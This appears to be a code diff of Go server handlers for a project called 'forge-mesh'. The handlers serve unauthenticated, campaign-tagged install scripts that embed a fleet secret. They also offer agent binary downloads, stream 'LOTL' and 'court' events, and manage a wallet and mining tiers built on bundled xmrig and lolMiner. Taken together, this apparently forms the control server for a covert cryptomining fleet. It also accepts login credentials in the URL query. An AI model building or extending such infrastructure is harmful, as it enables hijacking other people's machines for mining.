// CourtVerdict handles POST /api/v1/court/sessions/{id}/verdict (L4).
func CourtVerdict(deps CourtDeps) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
var req struct {
Verdict string `json:"verdict"`
Clearance int `json:"clearance"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil || req.Verdict == "" {
http.Error(w, "verdict required", http.StatusBadRequest)
return
}
if req.Clearance == 0 {
req.Clearance = 4
}
if err := deps.Court.DispatchVerdict(r.Context(), id, req.Verdict, req.Clearance); err != nil {
http.Error(w, err.Error(), http.StatusForbidden)
return
}
auth.JSON(w, http.StatusOK, map[string]string{"ok": "true", "verdict": req.Verdict})
}
}
// Timeline handles GET /api/v1/fleet/{id}/timeline (LOTL + court).
func Timeline(deps CourtDeps) http.HandlerFunc {
return court.TimelineHandler(deps.Court)
}
// ErasureDeps bundles public erasure routes.
type ErasureDeps struct {
Service *erasure.Service
}
// ErasureEncode handles POST /api/v1/public/erasure/encode (dev/admin via basic elsewhere).
func ErasureEncode(deps ErasureDeps) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("name")
if name == "" {
name = "bundle"
}
data, err := io.ReadAll(io.LimitReader(r.Body, 16<<20))
if err != nil {
http.Error(w, "read error", http.StatusBadRequest)
return
}
b, err := deps.Service.Encode(r.Context(), name, data)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusCreated, b)
}
}
// ErasureShard handles GET /api/v1/public/erasure/{bundle_id}/shard/{index}.
func ErasureShard(deps ErasureDeps) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
bundleID := r.PathValue("bundle_id")
idx, err := strconv.Atoi(r.PathValue("index"))
if err != nil {
http.Error(w, "invalid index", http.StatusBadRequest)
return
}
sh, err := deps.Service.GetShard(r.Context(), bundleID, idx)
if err != nil {
http.Error(w, "not found", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("X-Shard-Index", strconv.Itoa(sh.ShardIndex))
_, _ = w.Write(sh.Data)
}
}
// ErasureBundleMeta handles GET /api/v1/public/erasure/{bundle_id}.
func ErasureBundleMeta(deps ErasureDeps) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
bundleID := r.PathValue("bundle_id")
b, err := deps.Service.GetBundle(r.Context(), bundleID)
if err != nil {
http.Error(w, "not found", http.StatusNotFound)
return
}
indices, _ := deps.Service.ListShards(r.Context(), bundleID)
auth.JSON(w, http.StatusOK, map[string]interface{}{
"bundle": b,
"shards": indices,
"public": true,
"scheme": "RS_4_2",
})
}
}

View File

@@ -0,0 +1,138 @@
package handlers
import (
"bytes"
"database/sql"
"fmt"
"text/template"
"net/http"
"os"
"strings"
"forge-mesh/internal/forge"
)
// PublicHandlers serves unauthenticated summon routes.
type PublicHandlers struct {
DB *sql.DB
ArtifactsDir string
PublicKeyHex string
FleetSecret string
Version string
InstallTmpl *template.Template
DeckURL func(r *http.Request) string
}
type installData struct {
DeckURL string
PublicKey string
FleetSecret string
Pin string
Campaign string
}
func NewPublicHandlers(db *sql.DB, artifactsDir, publicKeyHex string, installTmplPath string) (*PublicHandlers, error) {
tmplBytes, err := os.ReadFile(installTmplPath)
if err != nil {
return nil, fmt.Errorf("read install template: %w", err)
}
tmpl, err := template.New("install.sh").Parse(string(tmplBytes))
if err != nil {
return nil, fmt.Errorf("parse install template: %w", err)
}
return &PublicHandlers{
DB: db,
ArtifactsDir: artifactsDir,
PublicKeyHex: publicKeyHex,
InstallTmpl: tmpl,
DeckURL: func(r *http.Request) string {
scheme := "http"
if r.TLS != nil || r.Header.Get("X-Forwarded-Proto") == "https" {
scheme = "https"
}
return fmt.Sprintf("%s://%s", scheme, r.Host)
},
}, nil
}
func (h *PublicHandlers) InstallSh(w http.ResponseWriter, r *http.Request) {
data := installData{
DeckURL: h.DeckURL(r),
PublicKey: h.PublicKeyHex,
FleetSecret: h.FleetSecret,
Pin: r.URL.Query().Get("pin"),
Campaign: r.URL.Query().Get("c"),
}
var buf bytes.Buffer
if err := h.InstallTmpl.Execute(&buf, data); err != nil {
http.Error(w, "template error", http.StatusInternalServerError)
return
}
w.Header().Set("Content-Type", "text/x-shellscript; charset=utf-8")
w.Write(buf.Bytes())
}
func (h *PublicHandlers) GetRedirect(w http.ResponseWriter, r *http.Request) {
target := "/install.sh"
if q := r.URL.RawQuery; q != "" {
target += "?" + q
}
http.Redirect(w, r, target, http.StatusFound)
}
func (h *PublicHandlers) LatestBuild(w http.ResponseWriter, r *http.Request) {
osName := r.URL.Query().Get("os")
arch := r.URL.Query().Get("arch")
if osName == "" {
osName = "linux"
}
if arch == "" {
arch = "amd64"
}
build, err := forge.LatestPublic(h.DB, osName, arch)
if err != nil {
if err == sql.ErrNoRows {
http.Error(w, "no public build", http.StatusNotFound)
return
}
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
w.Header().Set("Content-Type", "application/json")
fmt.Fprintf(w, `{"id":%q,"os":%q,"arch":%q,"version":%q,"checksum":%q,"signature":%q,"download_url":"/api/v1/public/download/%s"}`,
build.ID, build.OS, build.Arch, build.Version, build.Checksum, build.Signature, build.ID)
}
func (h *PublicHandlers) Download(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
if strings.Contains(id, "..") {
http.Error(w, "bad request", http.StatusBadRequest)
return
}
build, err := forge.GetBuild(h.DB, id)
if err != nil {
http.Error(w, "not found", http.StatusNotFound)
return
}
if !build.Public {
http.Error(w, "forbidden", http.StatusForbidden)
return
}
if build.Path == "" {
http.Error(w, "artifact missing", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="forge-mesh-agent-%s-%s"`, build.OS, build.Arch))
if err := forge.CopyArtifact(build.Path, w); err != nil {
http.Error(w, "read error", http.StatusInternalServerError)
}
}

View File

@@ -0,0 +1,174 @@
package handlers
import (
"encoding/base64"
"encoding/json"
"fmt"
"net/http"
"strings"
"time"
"forge-mesh/internal/auth"
"forge-mesh/internal/config"
"forge-mesh/internal/fleet"
)
// SeerHandler streams court/LOTL events via SSE.
type SeerHandler struct {
Store *fleet.Store
Username string
Password string
}
func (h *SeerHandler) Stream(w http.ResponseWriter, r *http.Request) {
if !h.authenticated(r) {
http.Error(w, "unauthorized", http.StatusUnauthorized)
return
}
flusher, ok := w.(http.Flusher)
if !ok {
http.Error(w, "streaming unsupported", http.StatusInternalServerError)
return
}
w.Header().Set("Content-Type", "text/event-stream")
w.Header().Set("Cache-Control", "no-cache")
w.Header().Set("Connection", "keep-alive")
events, _ := h.Store.ListSeerEvents(20)
for _, ev := range events {
payload, _ := json.Marshal(ev)
fmt.Fprintf(w, "data: %s\n\n", payload)
}
flusher.Flush()
ticker := time.NewTicker(5 * time.Second)
defer ticker.Stop()
for {
select {
case <-r.Context().Done():
return
case <-ticker.C:
events, err := h.Store.ListSeerEvents(5)
if err != nil {
continue
}
for _, ev := range events {
payload, _ := json.Marshal(ev)
fmt.Fprintf(w, "data: %s\n\n", payload)
flusher.Flush()
}
}
}
}
func (h *SeerHandler) authenticated(r *http.Request) bool {
if user, pass, ok := r.BasicAuth(); ok {
return user == h.Username && pass == h.Password
}
if authHeader := r.URL.Query().Get("authorization"); authHeader != "" {
raw := strings.TrimPrefix(authHeader, "Basic ")
decoded, err := base64.StdEncoding.DecodeString(raw)
if err != nil {
return false
}
parts := strings.SplitN(string(decoded), ":", 2)
if len(parts) != 2 {
return false
}
return parts[0] == h.Username && parts[1] == h.Password
}
return false
}
// WSTicketHandler issues one-time WebSocket tickets.
type WSTicketHandler struct {
Tickets *auth.TicketStore
}
func (h *WSTicketHandler) Issue(w http.ResponseWriter, r *http.Request) {
ticket, err := h.Tickets.Issue()
if err != nil || ticket == "" {
http.Error(w, "ticket issue failed", http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusOK, map[string]string{"ticket": ticket})
}
// OperatorHandler returns operator clearance info.
type OperatorHandler struct {
Clearance int
}
func (h *OperatorHandler) Me(w http.ResponseWriter, r *http.Request) {
auth.JSON(w, http.StatusOK, map[string]any{
"clearance_level": h.Clearance,
"label": fleet.ClearanceLabel(h.Clearance),
})
}
// PolicyHandler serves wallet and mining profile endpoints.
type PolicyHandler struct {
Cfg *config.Config
Store *fleet.Store
}
func (h *PolicyHandler) GetWallet(w http.ResponseWriter, r *http.Request) {
auth.JSON(w, http.StatusOK, h.Cfg.WalletPolicy)
}
func (h *PolicyHandler) PutWallet(w http.ResponseWriter, r *http.Request) {
var wp config.WalletPolicy
if err := json.NewDecoder(r.Body).Decode(&wp); err != nil {
http.Error(w, "bad request", http.StatusBadRequest)
return
}
if wp.DefaultWallet != "" {
h.Cfg.WalletPolicy.DefaultWallet = wp.DefaultWallet
}
if wp.Currency != "" {
h.Cfg.WalletPolicy.Currency = wp.Currency
}
auth.JSON(w, http.StatusOK, h.Cfg.WalletPolicy)
}
func (h *PolicyHandler) GetMiningProfile(w http.ResponseWriter, r *http.Request) {
auth.JSON(w, http.StatusOK, defaultMiningProfile(h.Cfg))
}
func (h *PolicyHandler) PutMiningProfile(w http.ResponseWriter, r *http.Request) {
var profile miningProfileRequest
if err := json.NewDecoder(r.Body).Decode(&profile); err != nil {
http.Error(w, "bad request", http.StatusBadRequest)
return
}
if profile.WalletAddress != "" {
h.Cfg.WalletPolicy.DefaultWallet = profile.WalletAddress
}
auth.JSON(w, http.StatusOK, profile)
}
type miningProfileRequest struct {
WalletAddress string `json:"wallet_address"`
Tiers []tierEntry `json:"tiers"`
}
type tierEntry struct {
Tier int `json:"tier"`
Name string `json:"name"`
Enabled bool `json:"enabled"`
}
func defaultMiningProfile(cfg *config.Config) miningProfileRequest {
return miningProfileRequest{
WalletAddress: cfg.WalletPolicy.DefaultWallet,
Tiers: []tierEntry{
{Tier: 1, Name: "OCI podman", Enabled: true},
{Tier: 2, Name: "Bundled xmrig", Enabled: true},
{Tier: 3, Name: "GPU lolMiner", Enabled: true},
{Tier: 4, Name: "Stratum-direct fallback", Enabled: false},
},
}
}